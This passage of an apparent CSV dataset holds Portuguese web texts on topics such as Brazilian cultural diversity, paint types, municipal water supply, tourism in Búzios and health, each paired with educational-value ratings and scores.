força para trabalhar como escravos, mas que, apesar de todo o sofrimento, deixaram um legado importantíssimo na nossa cultura, como a música, a dança, a culinária e a religião. + +Além desses três grupos principais, muitos outros povos também contribuíram para a formação da nossa identidade. Italianos, alemães, japoneses, árabes, entre tantos outros, vieram para o Brasil em busca de novas oportunidades e trouxeram seus costumes, suas comidas típicas e suas formas de ver o mundo. Essa mistura toda faz com que cada região do Brasil tenha suas próprias características, seus próprios sotaques, seus próprios pratos típicos e suas próprias festas. + +Por exemplo, no Rio Grande do Sul, a cultura gaúcha é muito forte, com seus costumes relacionados à criação de gado e à tradição do chimarrão. Já na Bahia, a influência africana é marcante na música, na culinária e nas religiões afro-brasileiras. E em São Paulo, a influência italiana é visível na arquitetura, na culinária e nos sobrenomes de muitas pessoas. + +É importante lembrar que essa diversidade não é apenas algo bonito de se ver, mas também uma fonte de aprendizado e enriquecimento pessoal. Ao conhecermos e respeitarmos as diferentes culturas que formam o Brasil, aprendemos a valorizar as diferenças e a construir uma sociedade mais justa e igualitária. Afinal, somos todos brasileiros, e a nossa diversidade é o que nos torna únicos e especiais. + +Agora, pensem um pouco: Quais costumes ou tradições da sua família vêm de outros lugares? Como a diversidade cultural se manifesta na sua cidade ou região? Valorizar a diversidade é valorizar a história do Brasil e construir um futuro melhor para todos!",Geografia,População e cultura,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de diversidade cultural no Brasil de forma acessível e envolvente para alunos do ensino fundamental. A analogia do 'bolo' facilita a compreensão da contribuição de diferentes povos na formação da identidade brasileira. Além disso, o texto estimula a reflexão sobre a diversidade local e familiar, promovendo o respeito às diferenças. A linguagem é clara e o conteúdo é relevante para o currículo escolar, adequando-se a diversos níveis de ensino.",5,1.0 +"Você tem duas latas de tinta acetinada 'Azul Veneziano', uma rotulada para uso externo e outra rotulada para uso interno. Sim, ambos contêm o mesmo pigmento e têm o mesmo brilho, e sim, claro que ambos são tinta. Mas depois dessas duas semelhanças eles começam a diferir. Se faz anos desde que você assumiu um trabalho de pintura, as coisas mudaram no corredor de pintura. A química por trás dos componentes de pintura de hoje os ajusta para o uso pretendido, e tanto os fabricantes quanto os profissionais recomendam que você use cada lata conforme rotulado - tintas internas para dentro e tintas externas para fora. +Primeiras coisas sobre a pintura: Existem dois tipos básicos de tinta para escolher, à base de água e à base de óleo. As tintas látex e acrílicas são à base de água, enquanto as tintas alquídicas são à base de óleo e ambas as tintas para interiorese pinturas exteriores vêm em ambos os tipos. Quando se trata de pintura externa, a base de óleo é melhor para resistir à sujeira, mas mais comumente a tinta látex à base de água é usada porque tende a ser pelo menos tão ou mais durável do que a base de óleo. Essas tintas para ambientes externos são mais adequadas para lidar com umidade, mudanças de temperatura e outros fatores externos, e não demoram tanto para secar quanto as alquídicas. As tintas formuladas para uso externo contêm aditivos que lhes conferem longevidade nos elementos - incluindo resistência a rachaduras e resistência à sujeira, bem como proteção contra os danos causados ​​​​pelos raios ultravioleta (UV). Muitos também têm mildewcide como aditivo. +As tintas à base de água também são preferidas para pintura interna, e não apenas por causa dos vapores associados às tintas à base de óleo. Em vez de aditivos para reprimir a sujeira, a química da pintura interna destina-se a fazer com que a tinta resista melhor a arranhões, arranhões e aderência (por exemplo, ao redor das molduras das janelas). Ele também foi projetado para suportar limpezas (como remover a evidência de um respingo de molho de tomate ou esfregar a arte de uma criança pequena com um limpador alcalino). +Os aditivos são apenas um dos quatro componentes básicos da tinta, e as tintas para interior e exterior diferem quando se trata dos outros três: pigmento, aglutinantes e líquidos. +Diferenças entre os componentes de pintura interior e exterior +Se você está realmente apaixonado pelo tom da sua pintura interna, sempre pode ter o mesmo tom misturado em uma fórmula externa. +A falta de certos aditivos específicos do ambiente dá uma desvantagem às tintas para interiores quando usadas em superfícies externas, e a diferença entre as tintas formuladas para interior e exterior não termina aí. As diferenças começam a surgir quando você olha também para os outros três componentes básicos da tinta: pigmento, aglutinantes e líquidos. +Vamos começar pelo pigmento, que é o que dá a cor a uma lata de tinta. Tintas para interiores podem conter pigmentos orgânicos para cor, e certos tipos de pigmentos orgânicos são conhecidos por desbotar significativamente se usados ​​em uma superfície externa; as fórmulas de pintura externa evitam esses pigmentos, aumentando o tempo necessário entre os projetos de pintura externa. +Da mesma forma, as tintas são formuladas com aditivos conhecidos como ligantes, que são usados ​​para unir o pigmento e fornecer adesão à superfície pintada. Como as tintas externas precisam de mais ajuda para combater os efeitos adversos do meio ambiente, os aglutinantes usados ​​em formulações adequadas para ambientes externos conferem à tinta resistência a problemas de integridade, como rachaduras e escamação, além de maior controle de umidade. Em vez disso, os ligantes de tinta interna podem oferecer melhor resistência à abrasão, o que não é necessariamente uma qualidade muito necessária na pintura externa. +As tintas internas e externas também diferem quando se trata dos tipos de líquidos usados. De acordo com as diretrizes federais, as tintas para interior...",original,original,original,original,4,0.8 +"06/04/2020 - Quarentena em SP segue até 22 de abril 04/04/2020 - Corpo de empresário morto com coronavírus é sepultado 02/04/2020 - Fake News: CPFL esclarece áudio de cliente e falsos colaboradores 31/03/2020 - Declarações do IR somam 34% em Penápolis 30/03/2020 - Vila Fátima concentra casos mais graves de suspeita do coronavírus 28/03/2020 - Carreata pede reabertura do comércio 27/03/2020 - Penápolis tem o 1º caso confirmado de coronavírus 26/03/2020 - Combustíveis têm queda nos preços em Penápolis 25/03/2020 - Idosos e profissionais da saúde podem se vacinar a partir desta quinta-feira 24/03/2020 - Vacinação contra gripe: Campanha deve ser retomada na quinta-feira +Você concorda com a prorrogação da quarentena por mais 15 dias feita pelo Estado de São Paulo? +Daep garante que água ainda não é problema na cidade +Rafael Machi +Penápolis possui água suficiente para abastecer 90 mil pessoas +Os meios de comunicação têm divulgado os problemas que a falta de chuva tem ocasionado na região metropolitana de São Paulo, como a falta de água para abastecimento das milhões de residências. Os reservatórios do Sistema Cantareira de Abastecimento de Água, ligado à Sabesp, atingiram apenas 08% de sua capacidade e a partir de hoje o sistema terá quer contar com o “volume morto”, reservatórios mais profundos que são deixados como reservas para este tipo de situação, que ficou mais preocupante quando o diretor de relações com investidores da Sabesp, Mario Sampaio, anunciou que se não chover até outubro, São Paulo poderá sofrer mais com a falta de água. A ausência de chuva no estado de São Paulo tem prejudicado também cidades do interior, que tomaram medidas para evitar o racionamento de água. Penápolis ainda não sofre com este problema, e o racionamento está longe de acontecer, garantiu a Diretora Presidente do Departamento de Água e Esgoto de Penápolis (Daep), Silvia Shinkai. Segundo ela, o município consegue tratar e reservar três vezes mais água do que o exigido pela Associação Brasileira de Normas Técnicas (ABNT) para uma cidade do porte de Penápolis. “Hoje o Daep estoca mais de 16 mil metros cúbicos de água, que é renovado todos os dias, sendo mais do que suficiente para abastecer a cidade por um dia inteiro”, comentou. Após o horário de pico, ao fim da tarde, quando as pessoas costumam usar mais água para tomar banho, fazer o jantar e outros fins, todos os reservatórios começam a ser reabastecidos, garantindo água para consumo no sai seguinte. “Desta forma, se por acaso vier a faltar água de forma repentina, o Daep consegue garantir 24 horas de abastecimento para toda a cidade”. De acordo com Silvia, a autarquia tem capacidade para tratar água suficiente para uma população de até 90 mil pessoas. Hoje a cidade conta com quatro reservatórios espalhados pela cidade, no Jardim Pevi, no Jardim Eldorado, na Vila Tóquio e na Estação de Tratamento de Água – sede do Daep. “Estamos em fase de estudos para construirmos novo reservatório na região da Cidade Jardim, que hoje possui grande expansão com a criação dos bairros Jardim do Lago. Isso ajudará a manter pressão de água, que beneficiará os moradores com uma distribuição adequada”, explicou. “Mesmo com a garantia de que a cidade possui água suficiente, temos que ressaltar a importância de evitar o desperdício, pois a economia de água ajuda a evitar problemas futuros e também o bolso do consumidor”, ressaltou. +Preservação de nascentes +Hoje Penápolis está tranquilo graças ao trabalho de preservação que tem sido com o Ribeirão Lajeado, rio que abastece a cidade. Segundo o coordenador do Consórcio Intermunicipal Ribeirão Lajeado, Hugo Crepaldi, a todo instante, novas mudas de árvores são plantadas em torno do rio para evitar o assoreamento do mesmo. “Não somente o plantio de mudas, mas também todo um acompanhamento é feito a fim de garantir a existência de um rio tão importante como é o Lajeado, garantindo assim, o abastecimento de água da população”, comentou. Hugo disse que existe um grande trabalho s...",original,original,original,original,3,0.6 +"Seguimos em busca dessa resposta, mas enquanto isso tantas bocas pra descobrir por aí... +Nessa sexta a gente facilita a coisa entre você e a arroba: cola por aqui porque vai rolar funk, pop e reggaeton a noite toda e adesivos lindinhos sinalizando a sua intenção: +AMARELO: Vem, mas de boa. Vai que rola! +1 Vodka + 5 entradas FREE. (Marque 4 amigos no post indicado e confirme presença no evento. O ganhador leva a garrafa, e 5 FREEs, sem fila. Sorteio: sexta, 18h). +Antes das 23h _ R$20 (fem ou mas) +Depois das 23h _ R$25 (fem ou mas)",original,original,original,original,1,0.2 +"É um prazer ""quase plagiar-te"" amigo! +Estás à vontade para ""quase me plagiares""",original,original,original,original,0,0.0 +"Proteção Patrimonial para assegurar a empresa | Henrique Guimarães +Proteção Patrimonial para assegurar a empresa em caso de Sucessão familiar +Home > Notícias > Proteção Patrimonial para assegurar a empresa em caso de Sucessão familiar +A falta de organização e de uma atuação preventiva pode comprometer a continuidade de uma… +A falta de organização e de uma atuação preventiva pode comprometer a continuidade de uma empresa, principalmente em casos de sucessão familiar, em que não há uma preparação de herdeiros para assumir atividades administrativas. Durante o processo podem ocorrer brigas, conflitos e perdas irreparáveis para a empresa, devido ao estado emocional da família, bem como a inexistência de um planejamento que garanta a efetividade do empreendimento. Nesse caso, ressalta-se a alternativa de Holding – em que é realizado o investimento do patrimônio em ações com participação no capital de outras empresas. No entanto, isso depende de determinados aspectos e peculiaridades da empresa para que se possa apontar para uma holding familiar. É necessário a busca por uma advocacia especializada para analisar se a alternativa oferece vantagem ou qual será a melhor decisão a ser tomada pelo empresário. +Com a proteção patrimonial bem planejada e aplicada, evita-se que desentendimentos e problemas pessoais possam ocasionar em prejuízos para empresa, assegurando a continuidade das atividades. A alternativa funciona da seguinte forma: o empresário deixa de ser proprietário e passa a ser sócio cotista, tornando o seu patrimônio integralizado no capital social da sua holding familiar. +Para adotar essa alternativa como solução, o primeiro passo é escolher o tipo societário mais adequado para atender as necessidades tanto da empresa quanto do empresário. Desse modo, é possível escolher as pessoas que vão constituir o corpo societário. Ressalta-se a importância de um planejamento tributário para utilização de mecanismos jurídico-legais, que pode garantir imunidade e isenção de tributos. Com a constituição da sociedade, os bens que compõe o capital social representados por quotas e ações, dependendo do tipo societário, tornam-se uma garantia de que continuarão sendo do núcleo familiar. A proteção patrimonial previne futuros desentendimento entre familiares, ainda mais em relação a bens relacionados a herança, pois tudo é estabelecido por meio de um contrato, conforme a vontade do empresário. +No entanto, deve-se alertar que essa alternativa de proteção patrimonial não pode ser tomada em prol de atos ilícitos, violando direitos de trabalhadores, credores e dentre outros, até pelo fato de que nesse caso não existirá a proteção patrimonial e o responsável deverá responder pelos seus atos diante da justiça. É relevante abordar a questão da complexidade da Proteção Patrimonial, que não se aplica a todos os empresários e Diretores. Essa solução deve ser bem analisada, planejada e aplicada de forma inteligente, com atuação de profissionais especializados na área. +Contudo, a Proteção Patrimonial é uma excelente alternativa e solução em casos de sucessão familiar, com objetivo de manter a continuidade da empresa e o seu respectivo crescimento. E, visando garantir a propriedade de bens e assegurar a empresa em caso de sucessão familiar, bem como no enfrentamento de crises, o empresário deve buscar a orientação de um advogado especializado para obter mais informações. +Caso tenha interesse em garantir a proteção de seus bens e saber mais sobre a Proteção Patrimonial, entre em contato com o Escritório Henrique Guimarães Advogados Associados – que atua com um alto padrão de qualidade e excelência.",original,original,original,original,2,0.4 +"Austin Marriott South, Texas: preços e avaliações - TripAdvisor +Austin Marriott South, Texas +Hotéis 3-estrela em St. Johns +Os hotéis com melhor custo/benefício em Hyde Park +Hotel especializado em Northwest Austin +Hotéis próximos a: Genius Gin +Hotéis próximos a: Austin Rock and Roll Car Museum +Hotéis próximos a: Dragonfly Wellness Center +Hotéis próximos a: Independence Brewing Co +Hotéis próximos a: Sound Gallery +Hotéis próximos a: Williamson Creek Cemetery +Hotéis próximos a: Stompin Grounds Coffee and Cocktail Lounge +Hotéis próximos a: Cathedral of Junk +Hotéis próximos a: AustinLimoCar +Hotéis próximos a: Crow Bar Austin +Todos os restaurantes em Austin Restaurantes nas proximidades de Austin Marriott South +Coisas a fazer em Austin O que fazer nas proximidades de Austin Marriott South +Estados Unidos›Texas (TX)›Austin›Hotéis: Austin +Nº 49 de 198 hotéis em Austin Certificado de Excelência EcoLíderesNível bronze Site do hotel +4415 S Interstate 35, Austin, TX 78744-1802 Oferta especial +Mais 77 fotos Restaurantes (12)Ver álbum Quarto/suíte (11)Ver álbum Hotel e áreas (8)Ver álbum Ver todas as fotos Fotos profissionaisFotos de viajantes (23)Ver mapa +Salvar Quartos e tarifas de Austin Marriott South Estamos buscando os melhores quartos pelos melhores preços para vocêReserve no Check-in Check-out 1 quarto 2 hóspedes Compare as tarifas de Austin Marriott South em todo o mercado Comparar tudo Estamos buscando os melhores quartos pelos melhores preços para vocêReserve no 4Quarto standard Buscando mais informações sobre o quarto Veja mais Cancelamento gratuito Melhor preço /diária impostos e taxas Selecionar Mostrar quartos disponíveis em Austin Marriott South Você pode ver ofertas dos nossos parceiros de viagem a partir de * ou alterar as datas. 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João V em Roma; Dr. Manuel Rodrigues de Paiva, professor de Farmácia e sobrinho de Ribeiro Sanches e ainda a influência do grande mestre Machado de Castro. +Para além das primeiras letras, e numa já relativa interdisciplinaridade, mestres eminentes leccionavam na Casa Pia de Lisboa, ao tempo instalada no Castelo de S. Jorge, aulas de Matemática, Química, Artilharia e Fortificação, Astronomia, Óptica, Desenho, Português, Latim, Francês, Inglês, Alemão (pela primeira vez em Portugal), Princípios da Contabilidade Comercial, Anatomia. Princípios Cirúrgicos e, também pela primeira vez em Lisboa, num gesto de alto sentido humanitário, aulas de Obstetrícia que constituíram uma grande medida para estancar a mortalidade de nascituros grassante na época. +Mas, se estas eram a aulas no Castelo, a vida escolar dos órfãos não terminava aqui. Com efeito, a Casa Pia criou colégios para frequência de escolas superiores pelos seus alunos, não só em Lisboa e Coimbra mas também e até no estrangeiro. +Alunos de Medicina, depois de passarem por aulas práticas no Hospital Central de Lisboa, vão completar os seus estudos nas Universidades Médicas de Londres, Edimburgo e Copenhaga; +Alunos de Ciências Físico-Matemáticas vão frequentar as Academias de Marinha, Fortificação, Artilharia e Desenho e as aulas de Pilotagem; +Alunos de Humanidades vão frequentar as Escolas Régias de Filosofia e Grego; +Alunos da Aula de Desenho, que, parece, depois se transformou na célebre Academia do Nu, vão para a Academia de Belas-Artes, em Roma, que Pina Manique ali fundara para os seus pupilos. +Dela saiu uma plêiade de famosos gravadores, escultores e pintores, dos quais é justo destacar, entre outros, João José de Aguiar, Valle, Francisco Vieira, o Vieira Portuense, Manoel Dias e o grande Domingos Sequeira. +Incontáveis são também os casapianos que, desde o primeiro órfão recolhido ao amparo da sua benemérita instituição, se tornaram probos cidadãos e trabalhadores honestos. Encontramo-los, quer os do passado, quer os do presente, desde o simples artesão aos famosos artistas, intelectuais e militares, desde o operário ao arquitecto, do funcionário público ao ministro, da enfermeira ao lente de Medicina, do cura de aldeia ao arcebispo de Goa. +Grande foi o serviço que a Casa Pia a todos prestou, mas enorme foi o serviço que ela prestou ao País, como nos diz o historiador César da Silva: +De que não sendo o talento e a inteligência apanágio de uma ou outra classe social, também o ensino não pode nem deve ser exclusivo de nenhuma [...]. +Os primeiros anos da Casa Pia são, afinal, a resposta do nosso país ao movimento afectivo europeu do final do século XVIII, que tinha por sigla «A igualdade humana perante o sofrimento». +Em consequência das invasões francesas, a Casa Pia v...",original,original,original,original,4,0.8 +"'A Regra do Jogo': Juliano conta para Dante onde é o cativeiro de Kiki +Juliano segue Zé Maria e descobre o endereço do cativeiro de Kiki em 'A Regra do Jogo'. Em seguida, ele entrega as informações para Dante. +Juliano une mãe e filho sem querer. +A parceria de Juliano e Dante em A Regra do Jogo vai trazer mais benefícios do que o policial pode imaginar. O trabalho em dupla para dar fim a facção criminosa trará a tona segredos da família Stewart e, além do alívio de colocar bandidos atrás das grades, os justiceiros ainda devem ter a felicidade de encontrar pessoas queridas. +Assim, o site Extra adianta que um dos mistérios que mais interessam a Dante está a um passo de ser revelado na novela das nove. +Além das trapalhadas de Romero, Tóia e Atena em A Regra do Jogo, a luta contra a facção garante uma novela à parte. E promove grandes emoções, como o reencontro de mãe e filho. +E tudo caminha para essa ocasião a partir do momento em que Juliano decide seguir Zé Maria. +Assim, nos próximos capítulos, o personagem de Cauã Reymond consegue uma informação que nem o rapaz sabe dimensionar a importância. +Tudo começa quando Iraque vê Zé Maria andando pelo Morro da Macaca. O morador corre para avisar Juliano de que seu pai está na área e o lutador pega a moto do amigo emprestada para seguir o bandido. Nas cenas, o rapaz dirige atrás do táxi do bandido e consegue chegar ao destino sem ser percebido. E adivinhe para onde o Tio está indo? Zé vai para a casa que serve de cativeiro para Kiki. +Quando Zé Maria chega ao local, Kiki está do lado de fora e recebe o marido. Do outro lado da rua, Juliano observa a casa, mas não avista que tem moradores. O lutador não perde tempo e tira fotos da residência à espera de que o pai saia novamente. +Mas o momento de perseguição dura pouco. +Ao tentar continuar seguindo Zé Maria em A Regra do Jogo, o criminoso percebe que tem alguém atrás dele e consegue despistar Juliano. É o fim da linha para o rapaz, mas as informações valiosas já foram registradas. Então o lutador procura Dante, pensando que pode marcar algum flagrante na casa que descobriu. Disposto a colocar o pai atrás das grades, ele entrega o endereço para o parceiro, sem imaginar que é a mãe do policial que está na residência. +Nas próximas cenas, Dante investiga as informações entregues por Juliano, mas os capangas de Gibson se adiantam mais uma vez. Antes que os policiais cheguem ao local, os ""irmãos"" da facção conseguem levar Kiki para outro lugar.",original,original,original,original,0,0.0 +"Este conjunto de biquíni sólido com decote de mergulho dianteiro e criss cross back detalhado com tiras trançadas e um fechamento auto-amarrado. Os copos acolchoados livres e redondos tornam tão fácil e tão confortável de usar. Com design baixo cintura, você pode mostrar sua cintura fina.",original,original,original,original,0,0.0 +CUT SC > LISTAR NOTÍCIAS > DESTAQUE CENTRAL > TRABALHADORES PARALISARAM BUDNY CONTRA DEMISSÃO DE EX-FUNCIONÁRIO E DIRETOR SINDICAL,original,original,original,original,1,0.2 +"Ah, me dei uma folguinha esses dias... Esses eventos purpurinados da carioquista aqui foram bem agitados! Tem coisa melhor do que comemorar aniversário ao lado de pessoas queridas? ♥ Depois disso, descanso merecido porque até eu voltar a rotina, meu povo, demorooooou... rsrs +Bom, como eu sou uma pessoa très chic (hahaha), dividi a festcheeeenha em dois finais de semana. E vou aproveitar o clima de Boteco das Carioquistas pra falar um pouco dos lugares escolhidos. +O primeiro, dia 07/05, foi na terrinha da facul, no Restaurante Patrono Comes e Bebes. Lá tem rodízio de peticos e outras opções para um Happy Hour bacana. +- Agathinha escolheu para a ocasião o vestido de renda TCK (acervo há mais de 10 anos!!!) e casaqueto Farm. Colar: eu que fiz! +- Fico devendo informações sobre o look da Rê Jardim, tá? +Já o segundo (14/05) foi no Rota 66, em Ipanema. Purpurinei na Farme de Amoedo, gentemmmm *\\o/* O lugar foi sugestão da migs Julie (que ficou dodói e não pôde ir =/) e é bem legal. Gostei muito amiga, temos que voltar! =) +Ah, no Rota 66, por indicação da Rê - deixo bem claro isso, hahahaha - nos sijogamus no Frozen: Limão, tangerina e morango. +E teve boatos que a gente estava na pior. Se isso é tá na pior: +Só pra constar: essas carinhas fofas do estilo ""boa moça"" não enganam ninguém, assim como meu olhar suuuper sedutor (Detalhe para a quantidade de bons drink nos copis) +Esse combo saiu no Grupon essa semana, tem uma cara boa! +Hahahahaha... Bons drink para todas! \\o/",original,original,original,original,0,0.0 +"DIGA NÃO À LEISHMANIOSE: Saúde faz pesquisa sobre leishmaniose em tribo Xakriabá - MG +A Superintendência de Pesquisa da Escola de Saúde Pública do Estado (ESP-MG) participa, em colaboração com o Centro de Pesquisa René Rachou (CpqRR/Fiocruz), de estudo para identificar, descrever e analisar aspectos clínicos, imunológicos, epidemiológicos e ambientais relacionados à leishmaniose tegumentar na comunidade indígena Xakriabá, no município São João das Missões, no Norte de Minas. Segundo a analista em Educação e Pesquisa em Saúde, Juliana Santos, a região é considerada área endêmica em relação à doença e problema de saúde pública entre os índios.A leishmaniose tegumentar caracteriza-se por apresentar feridas indolores na pele ou em mucosas do indivíduo. Se não é tratada adequadamente, pode causar deformação na mucosa nasal e bucal, o que interfere inclusive na vida social do paciente. ""Outro agravante é a região de mata onde essa população está inserida. Por lá, você encontra o vetor do parasita, o inseto flebotomínio, que transmite a leishmaniose"". Os índios estão inseridos num ambiente que também tem, em abundância, os reservatórios biológicos da leishmania (parasita), como as raposas, cachorros-do-mato, gambá, bicho preguiça, entre outros"", diz Juliana.A pesquisadora explica ainda que, no ambiente silvestre, não há como controlar o vetor e os reservatórios. Já para a leishmaniose visceral, frequente nos centros urbanos, existem ferramentas de monitoramento e controle dos reservatórios.Desde junho de 2008, a Fiocruz disponibilizou uma equipe para fazer análise do perfil imunológico e clínico da população dos índios, por meio de exames, diagnósticos, tratamento e acompanhamento. A instituição realiza treinamento a longo prazo com a equipe de saúde local, além de colocar protocolo disponível na aldeia, a ser seguido por esses profissionais. ""Com esse documento, sempre haverá a possibilidade de levar as informações adiante, mesmo quando a equipe for renovada"", acrescenta Juliana.A ESP-MG será responsável pela pesquisa social, com o objetivo de mobilizar, por meio da educação e orientação, essa população indígena. Os profissionais da educação provenientes da região irão trabalhar com a população local o conceito de leishmaniose, como é transmitida, tratada, ou seja, o ciclo e a prevenção da doença. Em sua primeira visita, a analista da ESP-MG conheceu a área e realizou contato com gestores de saúde e gerência local da Fundação Nacional de Saúde (Funasa), com o intuito de explicar a implantação do projeto, que começa no próximo mês.",original,original,original,original,3,0.6 +"Não sei se vocês já tiveram a oportunidade de ter tamanho poder. De ser o orquestrador das diferentes situações, mas ter que passar a bola a outrem para que a decisão seja tomada. Esta é a minha realidade, eu detenho … Continuar a ler → +Você sabe a diferença entre um termômetro e um termostato? Os nomes são bem parecidos, mas as funções de cada um limitam sua área de atuação. O termômetro é algo bem conhecido por todos, principalmente para aqueles que são pais. … Continuar a ler →",original,original,original,original,2,0.4 +"Esteatose hepática ou infiltração gordurosa no fígado é definida como um acúmulo excessivo de gordura nas células do fígado, que pode ter muitas causas, incluindo elevado consumo de álcool (esteatose alcoólica), infecções virais, doenças genéticas, uso de medicamentos, exposição a agentes químicos e alterações endócrinas e metabólicas. Grande parte dos casos de esteatose está diretamente associada à obesidade, aumento da gordura abdominal, dislipidemia (alteração das gorduras do sangue, triglicérides e colesterol), hipertensão arterial e diabetes mellitus. Chamamos a esteatose ligada a um ou mais desses fatores metabólicos de Doença Hepática Gordurosa Não-Alcoólica (DHGNA). +Ela é muito frequente, acomete um em cada três brasileiros adultos. É quase sempre silenciosa e geralmente tem evolução benigna; contudo, pode progredir para cirrose em 1/3 dos casos. O risco de progressão para cirrose é maior nas pessoas que têm no fígado, além da infiltração gordurosa, inflamação e fibrose (cicatrizes no fígado) ou seja, esteatohepatite (esteato=gordura e hepatite=inflamação). Os pacientes com DHGNA, além da progressão da doença hepática, ainda têm alto risco de no futuro desenvolverem diabetes, doenças cardiovasculares e alguns tipos de câncer.",original,original,original,original,3,0.6 +"Mais de 400 mil crianças sofrem de desnutrição severa no Iêmen - RENOVA Mídia +Home » Oriente Médio » Mais de 400 mil crianças sofrem de desnutrição severa no Iêmen +Publicado em 09 de novembro de 2018, 20h10 +Mais de 400 mil crianças sofrem de desnutrição severa no Iêmen +Aproximadamente 400 mil crianças sofrem de desnutrição severa aguda no Iêmen e suas vidas correm perigo. +A denúncia foi feita nesta sexta-feira (9) pelo Fundo das Nações Unidas para a Infância (Unicef). +Dessas crianças, 40% se encontram em Al Hudaydah, onde atualmente está sendo travada uma batalha feroz entre as forças do governo reconhecido internacionalmente e dos rebeldes houthis, informou em entrevista coletiva o porta-voz do Unicef, Christoph Boulierac, que especificou que a situação é muito delicada. +“Enquanto estamos falando, a vida dessas crianças corre perigo”, afirmou o porta-voz. +Essas 400 mil crianças fazem parte dos 1,8 milhão de menores iemenitas que sofrem de desnutrição aguda, especificou Boulierac. +PrevAnteriorIgrejas impedidas de doar alimentos à população da Venezuela +PróximoEleição de Bolsonaro aumenta otimismo de bancos com BrasilNext",original,original,original,original,1,0.2 +Ordenação padrão Ordenar por popularidade Ordenar por média de classificação Ordenar por mais recentes Ordenar por preço: menor para maior Ordenar por preço: maior para menor,original,original,original,original,0,0.0 +"O que não falta em Armação dos Búzios são os bons programas. Durante o dia, o ideal é circular pelas praias, seja para praticar alguns esportes, paquerar ou somente para sentir a brisa do mar e não fazer absolutamente nada. +Os passeios de barco também são boas excelentes para quem gosta de apreciar lindos cenários por diversos ângulos. À noite, todos os caminhos são no rumo da Rua das Pedras e à Orla Bardot, cheias de restaurantes, bares com festas e pessoas de todos os lugares. +Engana-se quem pensa que em Armação dos Búzios as atrações se limitam somente a praias e esportes aquáticos. Pois tem ótimas opções, como os passeios ecológicos e as maravilhosas reservas naturais. +Existem também muitos centros culturais onde você pode apreciar a inspiração dos artistas brasileiros e dos estrangeiros que vivem ali, encontrando ainda as galerias, encontros nos festivais de música, um belo museu de história, onde você conhece a origem da região. +No decorrer do ano, existem diversos eventos que permitem que todos os turistas desfrutem da viagem, como a festa de São Pedro que é o padroeiro da cidade; também tem o aniversário do Iate Clube e muitos outros eventos legais. +A região é belíssima, contando com ótimas praias e possíveis passeios pelos arredores, conhecendo pessoas interessantes e desfrutando da natureza. +Vale a pena conhecer alguns lugares em Armação dos Búzios. +As costas de Búzios são verdadeiras riquezas em flora e fauna submarina. A calmaria das águas rasas, e as profundas em algumas praias é um ótimo convite para apreciar de perto o seu ecossistema, por essa razão o mergulho é praticado ao redor de toda a península. +O snorkeling é praticado nas praias de João Fernandes e João Fernandinho, pois elas possuem águas calmas e não são muito profundas. O equipamento costuma ser encontrado para aluga. +É possível também contratar os guias locais que vão te levar aos lugares mais legais e vão te dar aulas de mergulho. +É uma capela bem simples que foi fundada no ano de 1740 sendo a primeira construção religiosa construída na Armação de Búzios. +A imagem de Santa Ana que está neste templo pequenino tem uma bonita lenda sobre a sua origem que vale muito a pena conhecer. +Na parte de trás da capela você encontra um antigo cemitério que era onde enterravam os escravos e que até hoje serve como local para depósito de urnas fúnebres. +Se você gosta de histórias com muito misticismo e magia deve visitar esta capela. +Com a enorme variedade de águas e sucessão de ondas que tem nas praias, da península de Armação de Búzios, você pode praticar todo tipo de esportes náuticos e de vela. +Armação de búzios é considerada um dos melhores destinos para este tipo de esporte. Você pode observar as competições de windsurf, hobie cats, wake boards e kite surf. +Desfrutando das lindas paisagens naturais que tem nessa península é que se encontra Búzios Golf Clube, com dois quilômetros quadrados, é sem dúvidas um dos melhores na América Latina. +Os adoradores deste esporte podem ficar horas praticando as suas tacadas em seus gramados ou se livrando dos obstáculos no decorrer do seu caminho. +A península de Armação dos Búzios possui diversas ilhas, as quais você pode visitar desfrutando de um interessante passeio que dura de três a cinco horas. +Pode ainda realizar em um iate, barcos pesqueiros, o catamarã, veleiros ou com as escunas. Durante esse passeio são servidas as bebidas e petiscos ou sanduiches, já inclusas, além disso você pode pedir que parem o barco para um mergulho. +A Ilha Rasa – Fica a 10 quilômetros do cais de Búzios +A Ilha Feia – É uma reserva natural, contando com as grutas e praias pequenas +A Ilha do Caboclo – Uma Reserva ecológica que fica em frente ao centro de Búzios +A Ilha Branca – Fica em frente da ponte de João Fernandes +Armação dos Búzios é ótimo para ser admirado visualmente por qualquer um dos mirantes de forma estratégica ficam localizados nas bordas da Praia Brava; tendo um mirante vizinho a praia João Fernandes e o outro perto da praia do ...",original,original,original,original,4,0.8 +"Esta quinta-feira (8), segundo dia da Unidade Móvel da Plataforma Educativa Repsol Sinopec, foi muito animada para os alunos do 5º ano da Escola Municipal Lions Clube, que fica no Jardim Ivoty. Cerca de 30 alunos participaram da atividade EnTenda o Lixo, que fala sobre questões relacionadas ao lixo marinho. +Siga a Prefeitura de Itanhaém no Instagram e no Facebook +Durante a atividade, aconteceram conversas sobre o tema, como resíduos e ações necessárias para solucionar o problema. De acordo com a professora dos estudantes, Marta Maria Golz Silva, de 43 anos, o assunto já vinha sendo abordado. “Isso foi importante para complementar o trabalho feito em sala de aula. Eles acabam aprendendo de uma forma diferente, fora do ambiente escolar”, explicou. +O principal objetivo dos cursos e oficinas é contribuir para o desenvolvimento da comunidade, valorizando a cultura local e a sustentabilidade dos recursos marinhos. As atividades ocorrem no interior de um caminhão baú de 12 metros de comprimento, que se transforma em uma sala de aula. +De acordo com o aluno Fernando Ribeiro de Souza, de 10 anos, a quantidade de lixo nos oceanos é bem maior do que poderia imaginar. “Eu sabia que os oceanos estavam cheios de lixo, mas não tinha noção da quantidade. Percebi que precisamos fazer alguma coisa, pois é uma situação muito triste”, lamentou. +Outra estudante é Maria Eduarda Félix Costa, de 10 anos, que contou que sempre teve cuidado com a preservação ambiental. “Minha mãe sempre conversou sobre isso comigo. Um pequeno lixo pode machucar ou até matar um animal marinho. São as pequenas atitudes que mudam toda a situação”, contou. +As atividades são gratuitas e as inscrições devem ser feitas no local. A Unidade Móvel fica na Praça Narciso de Andrade, de segunda a sexta-feira, das 9 às 17 horas, até o dia 7 de julho. As oficinas com as crianças das escolas municipais, no entanto, acontecerão apenas até a próxima quarta-feira (14). +Além do EnTenda o Lixo, outros cursos serão oferecidos para a população, como o Saneamento Ecológico e Tecnologias Ambientais Alternativas, que usará de material audiovisual, estruturas e maquetes didáticas; e o Pescador Profissional (POP), que ajudará os participantes a tirar a Caderneta de Inscrição e Registro (CIR), exigida pela Marinha para exercer a profissão de pescador em alto mar. +As atividades são realizadas em parceria com o Instituto Costa Brasilis, o Instituto de Oceanografia da Universidade de 